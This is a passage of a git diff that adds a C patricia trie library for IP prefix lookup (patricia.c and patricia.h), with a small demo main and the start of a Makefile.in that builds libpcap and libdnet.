+#include "patricia.h" +#include /* printf */ +#include /* exit */ + +void func(prefix_t *prefix) { + printf("node: %s/%d\n", prefix_toa(prefix), prefix->bitlen); +} + +int +main(void) +{ + prefix_t *prefix; + patricia_tree_t *tree; + patricia_node_t *node; + + tree = New_Patricia(32); + + make_and_lookup(tree, "127.0.0.0/8"); + + try_search_best(tree, "127.0.0.1"); + try_search_best(tree, "10.0.0.1"); + + make_and_lookup(tree, "10.42.42.0/24"); + make_and_lookup(tree, "10.42.69.0/24"); + make_and_lookup(tree, "10.0.0.0/8"); + make_and_lookup(tree, "10.0.0.0/9"); + + try_search_best(tree, "10.42.42.0/24"); + try_search_best(tree, "10.10.10.10"); + try_search_best(tree, "10.10.10.1"); + try_search_exact(tree, "10.0.0.0"); + try_search_exact(tree, "10.0.0.0/8"); + +#if 0 + PATRICIA_WALK(tree->head, node) { + printf("node: %s/%d\n", + prefix_toa(node->prefix), node->prefix->bitlen); + } PATRICIA_WALK_END; +#else + printf("%u total nodes.\n", patricia_walk_inorder(tree->head, func)); +#endif + + lookup_then_remove(tree, "42.0.0.0/8"); + lookup_then_remove(tree, "10.0.0.0/8"); + try_search_exact(tree, "10.0.0.0"); + +#if 0 + PATRICIA_WALK(tree->head, node) { + printf("node: %s/%d\n", + prefix_toa(node->prefix), node->prefix->bitlen); + } PATRICIA_WALK_END; +#else + printf("%u total nodes.\n", patricia_walk_inorder(tree->head, func)); +#endif + + Destroy_Patricia(tree, (void *)0); + + exit(0); +} diff --git a/ext_src/patricia.c b/ext_src/patricia.c new file mode 100644 index 0000000..5da80f6 --- /dev/null +++ b/ext_src/patricia.c @@ -0,0 +1,1042 @@ +/* + * $Id: patricia.c,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ + * Dave Plonka + * + * This product includes software developed by the University of Michigan, + * Merit Network, Inc., and their contributors. + * + * This file had been called "radix.c" in the MRT sources. + * + * I renamed it to "patricia.c" since it's not an implementation of a general + * radix trie. Also I pulled in various requirements from "prefix.c" and + * "demo.c" so that it could be used as a standalone API. + */ + +static char __attribute__((unused)) copyright[] = +"This product includes software developed by the University of Michigan, Merit" +"Network, Inc., and their contributors."; + +#include /* assert */ +#include /* isdigit */ +#include /* errno */ +#include /* sin */ +#include /* NULL */ +#include /* sprintf, fprintf, stderr */ +#include /* free, atol, calloc */ +#include /* memcpy, strchr, strlen */ +#include /* BSD: for inet_addr */ +#include /* BSD, Linux: for inet_addr */ +#include /* BSD, Linux: for inet_addr */ +#include /* BSD, Linux, Solaris: for inet_addr */ + +#include "patricia.h" + +#define Delete free + +/* { from prefix.c */ + +/* prefix_tochar + * convert prefix information to bytes + */ +u_char * +prefix_tochar (prefix_t * prefix) +{ + if (prefix == NULL) + return (NULL); + + return ((u_char *) & prefix->add.sin); +} + +int +comp_with_mask (void *addr, void *dest, u_int mask) +{ + + if ( /* mask/8 == 0 || */ memcmp (addr, dest, mask / 8) == 0) { + int n = mask / 8; + int m = ((-1) << (8 - (mask % 8))); + + if (mask % 8 == 0 || (((u_char *)addr)[n] & m) == (((u_char *)dest)[n] & m)) + return (1); + } + return (0); +} + +#if 0 +/* inet_pton substitute implementation + * Uses inet_addr to convert an IP address in dotted decimal notation into + * unsigned long and copies the result to dst. + * Only supports AF_INET. Follows standard error return conventions of + * inet_pton. + */ +int +inet_pton (int af, const char *src, void *dst) +{ + u_long result; + + if (af == AF_INET) { + result = inet_addr(src); + if (result == -1) + return 0; + else { + memcpy (dst, &result, 4); + return 1; + } + } +#ifdef NT +#ifdef HAVE_IPV6 + else if (af == AF_INET6) { + struct in6_addr Address; + return (inet6_addr(src, &Address)); + } +#endif /* HAVE_IPV6 */ +#endif /* NT */ +#ifndef NT + else { + + errno = EAFNOSUPPORT; + return -1; + } +#endif /* NT */ +} +#endif + +/* this allows imcomplete prefix */ +int +my_inet_pton (int af, const char *src, void *dst) +{ + if (af == AF_INET) { + int i, c, val; + u_char xp[4] = {0, 0, 0, 0}; + + for (i = 0; ; i++) { + c = *src++; + if (!isdigit (c)) + return (-1); + val = 0; + do { + val = val * 10 + c - '0'; + if (val > 255) + return (0); + c = *src++; + } while (c && isdigit (c)); + xp[i] = val; + if (c == '\0') + break; + if (c != '.') + return (0); + if (i >= 3) + return (0); + } + memcpy (dst, xp, 4); + return (1); +#ifdef HAVE_IPV6 + } else if (af == AF_INET6) { + return (inet_pton (af, src, dst)); +#endif /* HAVE_IPV6 */ + } else { +#ifndef NT + errno = EAFNOSUPPORT; +#endif /* NT */ + return -1; + } +} + +/* + * convert prefix information to ascii string with length + * thread safe and (almost) re-entrant implementation + */ +char * +prefix_toa2x (prefix_t *prefix, char *buff, int with_len) +{ + if (prefix == NULL) + return ("(Null)"); + assert (prefix->ref_count >= 0); + if (buff == NULL) { + + struct buffer { + char buffs[16][48+5]; + u_int i; + } *buffp; + +# if 0 + THREAD_SPECIFIC_DATA (struct buffer, buffp, 1); +# else + { /* for scope only */ + static struct buffer local_buff; + buffp = &local_buff; + } +# endif + if (buffp == NULL) { + /* XXX should we report an error? */ + return (NULL); + } + + buff = buffp->buffs[buffp->i++%16]; + } + if (prefix->family == AF_INET) { + u_char *a; + assert (prefix->bitlen <= 32); + a = prefix_touchar (prefix); + if (with_len) { + sprintf (buff, "%d.%d.%d.%d/%d", a[0], a[1], a[2], a[3], + prefix->bitlen); + } + else { + sprintf (buff, "%d.%d.%d.%d", a[0], a[1], a[2], a[3]); + } + return (buff); + } +#ifdef HAVE_IPV6 + else if (prefix->family == AF_INET6) { + char *r; + r = (char *) inet_ntop (AF_INET6, &prefix->add.sin6, buff, 48 /* a guess value */ ); + if (r && with_len) { + assert (prefix->bitlen <= 128); + sprintf (buff + strlen (buff), "/%d", prefix->bitlen); + } + return (buff); + } +#endif /* HAVE_IPV6 */ + else + return (NULL); +} + +/* prefix_toa2 + * convert prefix information to ascii string + */ +char * +prefix_toa2 (prefix_t *prefix, char *buff) +{ + return (prefix_toa2x (prefix, buff, 0)); +} + +/* prefix_toa + */ +char * +prefix_toa (prefix_t * prefix) +{ + return (prefix_toa2 (prefix, (char *) NULL)); +} + +prefix_t * +New_Prefix2 (int family, void *dest, int bitlen, prefix_t *prefix) +{ + int dynamic_allocated = 0; + int default_bitlen = 32; + +#ifdef HAVE_IPV6 + if (family == AF_INET6) { + default_bitlen = 128; + if (prefix == NULL) { + prefix = calloc(1, sizeof (prefix6_t)); + dynamic_allocated++; + } + memcpy (&prefix->add.sin6, dest, 16); + } + else +#endif /* HAVE_IPV6 */ + if (family == AF_INET) { + if (prefix == NULL) { +#ifndef NT + prefix = calloc(1, sizeof (prefix4_t)); +#else + //for some reason, compiler is getting + //prefix4_t size incorrect on NT + prefix = calloc(1, sizeof (prefix_t)); +#endif /* NT */ + + dynamic_allocated++; + } + memcpy (&prefix->add.sin, dest, 4); + } + else { + return (NULL); + } + + prefix->bitlen = (bitlen >= 0)? bitlen: default_bitlen; + prefix->family = family; + prefix->ref_count = 0; + if (dynamic_allocated) { + prefix->ref_count++; + } +/* fprintf(stderr, "[C %s, %d]\n", prefix_toa (prefix), prefix->ref_count); */ + return (prefix); +} + +prefix_t * +New_Prefix (int family, void *dest, int bitlen) +{ + return (New_Prefix2 (family, dest, bitlen, NULL)); +} + +/* ascii2prefix + */ +prefix_t * +ascii2prefix (int family, char *string) +{ + u_long bitlen, maxbitlen = 0; + char *cp; + struct in_addr sin; +#ifdef HAVE_IPV6 + struct in6_addr sin6; +#endif /* HAVE_IPV6 */ + int result; + char save[MAXLINE]; + + if (string == NULL) + return (NULL); + + /* easy way to handle both families */ + if (family == 0) { + family = AF_INET; +#ifdef HAVE_IPV6 + if (strchr (string, ':')) family = AF_INET6; +#endif /* HAVE_IPV6 */ + } + + if (family == AF_INET) { + maxbitlen = 32; + } +#ifdef HAVE_IPV6 + else if (family == AF_INET6) { + maxbitlen = 128; + } +#endif /* HAVE_IPV6 */ + + if ((cp = strchr (string, '/')) != NULL) { + bitlen = atol (cp + 1); + /* *cp = '\0'; */ + /* copy the string to save. Avoid destroying the string */ + assert (cp - string < MAXLINE); + memcpy (save, string, cp - string); + save[cp - string] = '\0'; + string = save; + if (bitlen < 0 || bitlen > maxbitlen) + bitlen = maxbitlen; + } + else { + bitlen = maxbitlen; + } + + if (family == AF_INET) { + if ((result = my_inet_pton (AF_INET, string, &sin)) <= 0) + return (NULL); + return (New_Prefix (AF_INET, &sin, bitlen)); + } + +#ifdef HAVE_IPV6 + else if (family == AF_INET6) { +// Get rid of this with next IPv6 upgrade +#if defined(NT) && !defined(HAVE_INET_NTOP) + inet6_addr(string, &sin6); + return (New_Prefix (AF_INET6, &sin6, bitlen)); +#else + if ((result = inet_pton (AF_INET6, string, &sin6)) <= 0) + return (NULL); +#endif /* NT */ + return (New_Prefix (AF_INET6, &sin6, bitlen)); + } +#endif /* HAVE_IPV6 */ + else + return (NULL); +} + +prefix_t * +Ref_Prefix (prefix_t * prefix) +{ + if (prefix == NULL) + return (NULL); + if (prefix->ref_count == 0) { + /* make a copy in case of a static prefix */ + return (New_Prefix2 (prefix->family, &prefix->add, prefix->bitlen, NULL)); + } + prefix->ref_count++; +/* fprintf(stderr, "[A %s, %d]\n", prefix_toa (prefix), prefix->ref_count); */ + return (prefix); +} + +void +Deref_Prefix (prefix_t * prefix) +{ + if (prefix == NULL) + return; + /* for secure programming, raise an assert. no static prefix can call this */ + assert (prefix->ref_count > 0); + + prefix->ref_count--; + assert (prefix->ref_count >= 0); + if (prefix->ref_count <= 0) { + Delete (prefix); + return; + } +} + +/* } */ + +/* #define PATRICIA_DEBUG 1 */ + +static int num_active_patricia = 0; + +/* these routines support continuous mask only */ + +patricia_tree_t * +New_Patricia (int maxbits) +{ + patricia_tree_t *patricia = calloc(1, sizeof *patricia); + + patricia->maxbits = maxbits; + patricia->head = NULL; + patricia->num_active_node = 0; + assert (maxbits <= PATRICIA_MAXBITS); /* XXX */ + num_active_patricia++; + return (patricia); +} + + +/* + * if func is supplied, it will be called as func(node->data) + * before deleting the node + */ + +void +Clear_Patricia (patricia_tree_t *patricia, void_fn_t func) +{ + assert (patricia); + if (patricia->head) { + + patricia_node_t *Xstack[PATRICIA_MAXBITS+1]; + patricia_node_t **Xsp = Xstack; + patricia_node_t *Xrn = patricia->head; + + while (Xrn) { + patricia_node_t *l = Xrn->l; + patricia_node_t *r = Xrn->r; + + if (Xrn->prefix) { + Deref_Prefix (Xrn->prefix); + if (Xrn->data && func) + func (Xrn->data); + } + else { + assert (Xrn->data == NULL); + } + Delete (Xrn); + patricia->num_active_node--; + + if (l) { + if (r) { + *Xsp++ = r; + } + Xrn = l; + } else if (r) { + Xrn = r; + } else if (Xsp != Xstack) { + Xrn = *(--Xsp); + } else { + Xrn = (patricia_node_t *) 0; + } + } + } + assert (patricia->num_active_node == 0); + /* Delete (patricia); */ +} + + +void +Destroy_Patricia (patricia_tree_t *patricia, void_fn_t func) +{ + Clear_Patricia (patricia, func); + Delete (patricia); + num_active_patricia--; +} + + +/* + * if func is supplied, it will be called as func(node->prefix, node->data) + */ + +void +patricia_process (patricia_tree_t *patricia, void_fn_t func) +{ + patricia_node_t *node; + assert (func); + + PATRICIA_WALK (patricia->head, node) { + func (node->prefix, node->data); + } PATRICIA_WALK_END; +} + +size_t +patricia_walk_inorder(patricia_node_t *node, void_fn_t func) +{ + size_t n = 0; + assert(func); + + if (node->l) { + n += patricia_walk_inorder(node->l, func); + } + + if (node->prefix) { + func(node->prefix, node->data); + n++; + } + + if (node->r) { + n += patricia_walk_inorder(node->r, func); + } + + return n; +} + + +patricia_node_t * +patricia_search_exact (patricia_tree_t *patricia, prefix_t *prefix) +{ + patricia_node_t *node; + u_char *addr; + u_int bitlen; + + assert (patricia); + assert (prefix); + assert (prefix->bitlen <= patricia->maxbits); + + if (patricia->head == NULL) + return (NULL); + + node = patricia->head; + addr = prefix_touchar (prefix); + bitlen = prefix->bitlen; + + while (node->bit < bitlen) { + + if (BIT_TEST (addr[node->bit >> 3], 0x80 >> (node->bit & 0x07))) { +#ifdef PATRICIA_DEBUG + if (node->prefix) + fprintf (stderr, "patricia_search_exact: take right %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); + else + fprintf (stderr, "patricia_search_exact: take right at %d\n", + node->bit); +#endif /* PATRICIA_DEBUG */ + node = node->r; + } + else { +#ifdef PATRICIA_DEBUG + if (node->prefix) + fprintf (stderr, "patricia_search_exact: take left %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); + else + fprintf (stderr, "patricia_search_exact: take left at %d\n", + node->bit); +#endif /* PATRICIA_DEBUG */ + node = node->l; + } + + if (node == NULL) + return (NULL); + } + +#ifdef PATRICIA_DEBUG + if (node->prefix) + fprintf (stderr, "patricia_search_exact: stop at %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); + else + fprintf (stderr, "patricia_search_exact: stop at %d\n", node->bit); +#endif /* PATRICIA_DEBUG */ + if (node->bit > bitlen || node->prefix == NULL) + return (NULL); + assert (node->bit == bitlen); + assert (node->bit == node->prefix->bitlen); + if (comp_with_mask (prefix_tochar (node->prefix), prefix_tochar (prefix), + bitlen)) { +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_search_exact: found %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + return (node); + } + return (NULL); +} + + +/* if inclusive != 0, "best" may be the given prefix itself */ +patricia_node_t * +patricia_search_best2 (patricia_tree_t *patricia, prefix_t *prefix, int inclusive) +{ + patricia_node_t *node; + patricia_node_t *stack[PATRICIA_MAXBITS + 1]; + u_char *addr; + u_int bitlen; + int cnt = 0; + + assert (patricia); + assert (prefix); + assert (prefix->bitlen <= patricia->maxbits); + + if (patricia->head == NULL) + return (NULL); + + node = patricia->head; + addr = prefix_touchar (prefix); + bitlen = prefix->bitlen; + + while (node->bit < bitlen) { + + if (node->prefix) { +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_search_best: push %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + stack[cnt++] = node; + } + + if (BIT_TEST (addr[node->bit >> 3], 0x80 >> (node->bit & 0x07))) { +#ifdef PATRICIA_DEBUG + if (node->prefix) + fprintf (stderr, "patricia_search_best: take right %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); + else + fprintf (stderr, "patricia_search_best: take right at %d\n", + node->bit); +#endif /* PATRICIA_DEBUG */ + node = node->r; + } + else { +#ifdef PATRICIA_DEBUG + if (node->prefix) + fprintf (stderr, "patricia_search_best: take left %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); + else + fprintf (stderr, "patricia_search_best: take left at %d\n", + node->bit); +#endif /* PATRICIA_DEBUG */ + node = node->l; + } + + if (node == NULL) + break; + } + + if (inclusive && node && node->prefix) + stack[cnt++] = node; + +#ifdef PATRICIA_DEBUG + if (node == NULL) + fprintf (stderr, "patricia_search_best: stop at null\n"); + else if (node->prefix) + fprintf (stderr, "patricia_search_best: stop at %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); + else + fprintf (stderr, "patricia_search_best: stop at %d\n", node->bit); +#endif /* PATRICIA_DEBUG */ + + if (cnt <= 0) + return (NULL); + + while (--cnt >= 0) { + node = stack[cnt]; +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_search_best: pop %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + if (comp_with_mask (prefix_tochar (node->prefix), + prefix_tochar (prefix), + node->prefix->bitlen)) { +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_search_best: found %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + return (node); + } + } + return (NULL); +} + + +patricia_node_t * +patricia_search_best (patricia_tree_t *patricia, prefix_t *prefix) +{ + return (patricia_search_best2 (patricia, prefix, 1)); +} + + +patricia_node_t * +patricia_lookup (patricia_tree_t *patricia, prefix_t *prefix) +{ + patricia_node_t *node, *new_node, *parent, *glue; + u_char *addr, *test_addr; + u_int bitlen, check_bit, differ_bit; + int i, j, r; + + assert (patricia); + assert (prefix); + assert (prefix->bitlen <= patricia->maxbits); + + if (patricia->head == NULL) { + node = calloc(1, sizeof *node); + node->bit = prefix->bitlen; + node->prefix = Ref_Prefix (prefix); + node->parent = NULL; + node->l = node->r = NULL; + node->data = NULL; + patricia->head = node; +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_lookup: new_node #0 %s/%d (head)\n", + prefix_toa (prefix), prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + patricia->num_active_node++; + return (node); + } + + addr = prefix_touchar (prefix); + bitlen = prefix->bitlen; + node = patricia->head; + + while (node->bit < bitlen || node->prefix == NULL) { + + if (node->bit < patricia->maxbits && + BIT_TEST (addr[node->bit >> 3], 0x80 >> (node->bit & 0x07))) { + if (node->r == NULL) + break; +#ifdef PATRICIA_DEBUG + if (node->prefix) + fprintf (stderr, "patricia_lookup: take right %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); + else + fprintf (stderr, "patricia_lookup: take right at %d\n", node->bit); +#endif /* PATRICIA_DEBUG */ + node = node->r; + } + else { + if (node->l == NULL) + break; +#ifdef PATRICIA_DEBUG + if (node->prefix) + fprintf (stderr, "patricia_lookup: take left %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); + else + fprintf (stderr, "patricia_lookup: take left at %d\n", node->bit); +#endif /* PATRICIA_DEBUG */ + node = node->l; + } + + assert (node); + } + + assert (node->prefix); +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_lookup: stop at %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + + test_addr = prefix_touchar (node->prefix); + /* find the first bit different */ + check_bit = (node->bit < bitlen)? node->bit: bitlen; + differ_bit = 0; + for (i = 0; i*8 < check_bit; i++) { + if ((r = (addr[i] ^ test_addr[i])) == 0) { + differ_bit = (i + 1) * 8; + continue; + } + /* I know the better way, but for now */ + for (j = 0; j < 8; j++) { + if (BIT_TEST (r, (0x80 >> j))) + break; + } + /* must be found */ + assert (j < 8); + differ_bit = i * 8 + j; + break; + } + if (differ_bit > check_bit) + differ_bit = check_bit; +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_lookup: differ_bit %d\n", differ_bit); +#endif /* PATRICIA_DEBUG */ + + parent = node->parent; + while (parent && parent->bit >= differ_bit) { + node = parent; + parent = node->parent; +#ifdef PATRICIA_DEBUG + if (node->prefix) + fprintf (stderr, "patricia_lookup: up to %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); + else + fprintf (stderr, "patricia_lookup: up to %d\n", node->bit); +#endif /* PATRICIA_DEBUG */ + } + + if (differ_bit == bitlen && node->bit == bitlen) { + if (node->prefix) { +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_lookup: found %s/%d\n", + prefix_toa (node->prefix), node->prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + return (node); + } + node->prefix = Ref_Prefix (prefix); +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_lookup: new node #1 %s/%d (glue mod)\n", + prefix_toa (prefix), prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + assert (node->data == NULL); + return (node); + } + + new_node = calloc(1, sizeof *new_node); + new_node->bit = prefix->bitlen; + new_node->prefix = Ref_Prefix (prefix); + new_node->parent = NULL; + new_node->l = new_node->r = NULL; + new_node->data = NULL; + patricia->num_active_node++; + + if (node->bit == differ_bit) { + new_node->parent = node; + if (node->bit < patricia->maxbits && + BIT_TEST (addr[node->bit >> 3], 0x80 >> (node->bit & 0x07))) { + assert (node->r == NULL); + node->r = new_node; + } + else { + assert (node->l == NULL); + node->l = new_node; + } +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_lookup: new_node #2 %s/%d (child)\n", + prefix_toa (prefix), prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + return (new_node); + } + + if (bitlen == differ_bit) { + if (bitlen < patricia->maxbits && + BIT_TEST (test_addr[bitlen >> 3], 0x80 >> (bitlen & 0x07))) { + new_node->r = node; + } + else { + new_node->l = node; + } + new_node->parent = node->parent; + if (node->parent == NULL) { + assert (patricia->head == node); + patricia->head = new_node; + } + else if (node->parent->r == node) { + node->parent->r = new_node; + } + else { + node->parent->l = new_node; + } + node->parent = new_node; +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_lookup: new_node #3 %s/%d (parent)\n", + prefix_toa (prefix), prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + } + else { + glue = calloc(1, sizeof *glue); + glue->bit = differ_bit; + glue->prefix = NULL; + glue->parent = node->parent; + glue->data = NULL; + patricia->num_active_node++; + if (differ_bit < patricia->maxbits && + BIT_TEST (addr[differ_bit >> 3], 0x80 >> (differ_bit & 0x07))) { + glue->r = new_node; + glue->l = node; + } + else { + glue->r = node; + glue->l = new_node; + } + new_node->parent = glue; + + if (node->parent == NULL) { + assert (patricia->head == node); + patricia->head = glue; + } + else if (node->parent->r == node) { + node->parent->r = glue; + } + else { + node->parent->l = glue; + } + node->parent = glue; +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_lookup: new_node #4 %s/%d (glue+node)\n", + prefix_toa (prefix), prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + } + return (new_node); +} + + +void +patricia_remove (patricia_tree_t *patricia, patricia_node_t *node) +{ + patricia_node_t *parent, *child; + + assert (patricia); + assert (node); + + if (node->r && node->l) { +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_remove: #0 %s/%d (r & l)\n", + prefix_toa (node->prefix), node->prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + + /* this might be a placeholder node -- have to check and make sure + * there is a prefix aossciated with it ! */ + if (node->prefix != NULL) + Deref_Prefix (node->prefix); + node->prefix = NULL; + /* Also I needed to clear data pointer -- masaki */ + node->data = NULL; + return; + } + + if (node->r == NULL && node->l == NULL) { +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_remove: #1 %s/%d (!r & !l)\n", + prefix_toa (node->prefix), node->prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + parent = node->parent; + Deref_Prefix (node->prefix); + Delete (node); + patricia->num_active_node--; + + if (parent == NULL) { + assert (patricia->head == node); + patricia->head = NULL; + return; + } + + if (parent->r == node) { + parent->r = NULL; + child = parent->l; + } + else { + assert (parent->l == node); + parent->l = NULL; + child = parent->r; + } + + if (parent->prefix) + return; + + /* we need to remove parent too */ + + if (parent->parent == NULL) { + assert (patricia->head == parent); + patricia->head = child; + } + else if (parent->parent->r == parent) { + parent->parent->r = child; + } + else { + assert (parent->parent->l == parent); + parent->parent->l = child; + } + child->parent = parent->parent; + Delete (parent); + patricia->num_active_node--; + return; + } + +#ifdef PATRICIA_DEBUG + fprintf (stderr, "patricia_remove: #2 %s/%d (r ^ l)\n", + prefix_toa (node->prefix), node->prefix->bitlen); +#endif /* PATRICIA_DEBUG */ + if (node->r) { + child = node->r; + } + else { + assert (node->l); + child = node->l; + } + parent = node->parent; + child->parent = parent; + + Deref_Prefix (node->prefix); + Delete (node); + patricia->num_active_node--; + + if (parent == NULL) { + assert (patricia->head == node); + patricia->head = child; + return; + } + + if (parent->r == node) { + parent->r = child; + } + else { + assert (parent->l == node); + parent->l = child; + } +} + +/* { from demo.c */ + +patricia_node_t * +make_and_lookup (patricia_tree_t *tree, char *string) +{ + prefix_t *prefix; + patricia_node_t *node; + + prefix = ascii2prefix (AF_INET, string); + //printf ("make_and_lookup: %s/%d\n", prefix_toa (prefix), prefix->bitlen); + node = patricia_lookup (tree, prefix); + Deref_Prefix (prefix); + return (node); +} + +patricia_node_t * +try_search_exact (patricia_tree_t *tree, char *string) +{ + prefix_t *prefix; + patricia_node_t *node; + + prefix = ascii2prefix (AF_INET, string); + /*printf ("try_search_exact: %s/%d\n", prefix_toa (prefix), prefix->bitlen); */ + if ((node = patricia_search_exact (tree, prefix)) == NULL) { + //printf ("try_search_exact: not found\n"); + } + else { + /*printf ("try_search_exact: %s/%d found\n", + prefix_toa (node->prefix), node->prefix->bitlen);*/ + } + Deref_Prefix (prefix); + return (node); +} + +void +lookup_then_remove (patricia_tree_t *tree, char *string) +{ + patricia_node_t *node; + + if ((node = try_search_exact (tree, string))) + patricia_remove (tree, node); +} + +patricia_node_t * +try_search_best (patricia_tree_t *tree, char *string) +{ + prefix_t *prefix; + patricia_node_t *node; + + prefix = ascii2prefix (AF_INET, string); + /* printf ("try_search_best: %s/%d\n", prefix_toa (prefix), prefix->bitlen); */ + if ((node = patricia_search_best (tree, prefix)) == NULL) + /* printf ("try_search_best: not found\n"); + else + printf ("try_search_best: %s/%d found\n", + prefix_toa (node->prefix), node->prefix->bitlen); + */ + Deref_Prefix (prefix); + return (node); +} + +/* } */ diff --git a/ext_src/patricia.h b/ext_src/patricia.h new file mode 100644 index 0000000..d98dc7b --- /dev/null +++ b/ext_src/patricia.h @@ -0,0 +1,149 @@ +/* + * $Id: patricia.h,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ + * Dave Plonka + * + * This product includes software developed by the University of Michigan, + * Merit Network, Inc., and their contributors. + * + * This file had been called "radix.h" in the MRT sources. + * + * I renamed it to "patricia.h" since it's not an implementation of a general + * radix trie. Also, pulled in various requirements from "mrt.h" and added + * some other things it could be used as a standalone API. + */ + +#ifndef _PATRICIA_H +#define _PATRICIA_H + +/* typedef unsigned int u_int; */ +typedef void (*void_fn_t)(); +/* { from defs.h */ +#define prefix_touchar(prefix) ((u_char *)&(prefix)->add.sin) +#define MAXLINE 1024 +#define BIT_TEST(f, b) ((f) & (b)) +/* } */ + +#define addroute make_and_lookup + +#include /* for u_* definitions (on FreeBSD 5) */ + +#include /* for EAFNOSUPPORT */ +#ifndef EAFNOSUPPORT +# defined EAFNOSUPPORT WSAEAFNOSUPPORT +# include +#else +# include /* for struct in_addr */ +#endif + +#include /* for AF_INET */ + +/* { from mrt.h */ + +typedef struct _prefix4_t { + u_short family; /* AF_INET | AF_INET6 */ + u_short bitlen; /* same as mask? */ + int ref_count; /* reference count */ + struct in_addr sin; +} prefix4_t; + +typedef struct _prefix_t { + u_short family; /* AF_INET | AF_INET6 */ + u_short bitlen; /* same as mask? */ + int ref_count; /* reference count */ + union { + struct in_addr sin; +#ifdef HAVE_IPV6 + struct in6_addr sin6; +#endif /* IPV6 */ + } add; +} prefix_t; + +/* } */ + +typedef struct _patricia_node_t { + u_int bit; /* flag if this node used */ + prefix_t *prefix; /* who we are in patricia tree */ + struct _patricia_node_t *l, *r; /* left and right children */ + struct _patricia_node_t *parent;/* may be used */ + void *data; /* pointer to data */ + void *user1; /* pointer to usr data (ex. route flap info) */ +} patricia_node_t; + +typedef struct _patricia_tree_t { + patricia_node_t *head; + u_int maxbits; /* for IP, 32 bit addresses */ + int num_active_node; /* for debug purpose */ +} patricia_tree_t; + + +patricia_node_t *patricia_search_exact (patricia_tree_t *patricia, prefix_t *prefix); +patricia_node_t *patricia_search_best (patricia_tree_t *patricia, prefix_t *prefix); +patricia_node_t * patricia_search_best2 (patricia_tree_t *patricia, prefix_t *prefix, + int inclusive); +patricia_node_t *patricia_lookup (patricia_tree_t *patricia, prefix_t *prefix); +void patricia_remove (patricia_tree_t *patricia, patricia_node_t *node); +patricia_tree_t *New_Patricia (int maxbits); +void Clear_Patricia (patricia_tree_t *patricia, void_fn_t func); +void Destroy_Patricia (patricia_tree_t *patricia, void_fn_t func); +void patricia_process (patricia_tree_t *patricia, void_fn_t func); + +/* { from demo.c */ + +prefix_t * +ascii2prefix (int family, char *string); + +patricia_node_t * +make_and_lookup (patricia_tree_t *tree, char *string); + +patricia_node_t * +try_search_best (patricia_tree_t *, char *); +/* } */ + +#define PATRICIA_MAXBITS 128 +#define PATRICIA_NBIT(x) (0x80 >> ((x) & 0x7f)) +#define PATRICIA_NBYTE(x) ((x) >> 3) + +#define PATRICIA_DATA_GET(node, type) (type *)((node)->data) +#define PATRICIA_DATA_SET(node, value) ((node)->data = (void *)(value)) + +#define PATRICIA_WALK(Xhead, Xnode) \ + do { \ + patricia_node_t *Xstack[PATRICIA_MAXBITS+1]; \ + patricia_node_t **Xsp = Xstack; \ + patricia_node_t *Xrn = (Xhead); \ + while ((Xnode = Xrn)) { \ + if (Xnode->prefix) + +#define PATRICIA_WALK_ALL(Xhead, Xnode) \ +do { \ + patricia_node_t *Xstack[PATRICIA_MAXBITS+1]; \ + patricia_node_t **Xsp = Xstack; \ + patricia_node_t *Xrn = (Xhead); \ + while ((Xnode = Xrn)) { \ + if (1) + +#define PATRICIA_WALK_BREAK { \ + if (Xsp != Xstack) { \ + Xrn = *(--Xsp); \ + } else { \ + Xrn = (patricia_node_t *) 0; \ + } \ + continue; } + +#define PATRICIA_WALK_END \ + if (Xrn->l) { \ + if (Xrn->r) { \ + *Xsp++ = Xrn->r; \ + } \ + Xrn = Xrn->l; \ + } else if (Xrn->r) { \ + Xrn = Xrn->r; \ + } else if (Xsp != Xstack) { \ + Xrn = *(--Xsp); \ + } else { \ + Xrn = (patricia_node_t *) 0; \ + } \ + } \ + } while (0) + +#endif /* _PATRICIA_H */ diff --git a/libs/Makefile.in b/libs/Makefile.in new file mode 100644 index 0000000..e5dda6a --- /dev/null +++ b/libs/Makefile.in @@ -0,0 +1,32 @@ +# @configure_input@ +include ../Makefile.inc + +PCAPVER=0.9.4 +DNETVER=1.10 + +all: @NEED_AUX_LIBS@ + +pcap: libpcap-$(PCAPVER)/stamp +libdnet: libdnet-$(DNETVER)/stamp +libltdl: libltdl/stamp + +libpcap-$(PCAPVER)/stamp: 